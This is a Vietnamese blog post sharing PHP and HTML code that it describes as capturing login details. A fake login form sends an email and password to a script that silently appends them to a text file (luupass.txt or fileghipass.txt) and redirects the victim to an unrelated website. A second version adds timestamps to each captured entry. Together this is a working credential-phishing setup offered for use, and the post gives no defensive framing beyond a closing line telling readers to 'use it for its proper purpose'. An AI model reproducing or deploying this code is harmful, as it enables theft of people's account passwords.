Code php gởi thông tin về file txt
Bài viết này mình share code Code php gởi thông tin về file txt, code lấy thông tin đăng nhập về file txt.
Đầu tiên thì các bạn phải tạo 1 file html đơn giản như sau hoặc là như thế nào tùy ý bạn :
Nếu các bạn muốn có thêm ngày tháng nữa thì có thể làm như sau :
Đầu tiên thì các bạn phải tạo 1 file html đơn giản như sau hoặc là như thế nào tùy ý bạn :
Như html trên thì file login.php ta sẽ có cú pháp như sau :<html><form method="GET" action="login.php"><div><input placeholder="ten" name="email" type="text"><input placeholder="MK" name="pass" type="password"></div><div><button type="submit" value="Dn" name="login">DN</button></div>
</form></html>
Như thế thì thông tin về file luupass.txt sẽ là Email và Pass.<?php
header ('Location: http://kogsand.com');$handle = fopen("luupass.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}fwrite($handle, "\r\n");fclose($handle);
exit;?>
Nếu các bạn muốn có thêm ngày tháng nữa thì có thể làm như sau :
PHP Code:
<?php
$now = getdate();
$currentTime = $now["hours"] . ":" . $now["minutes"] . ":" . $now["seconds"];
$currentDate = $now["mday"] . "." . $now["mon"] . "." . $now["year"];
$currentWeek = $now["wday"] . ".";
$currentDate = $now["mday"] . "." . $now["mon"] . "." . $now["year"];
header ('Location: http://www.xaluan.com/modules.php?name=News&file=article&sid=988297');
$handle = fopen("fileghipass.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, " nay nhap luc $currentTime ngay $currentDate=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Chúc các bạn thành công và sử dụng đúng mục đích của nó.
Comments
Post a Comment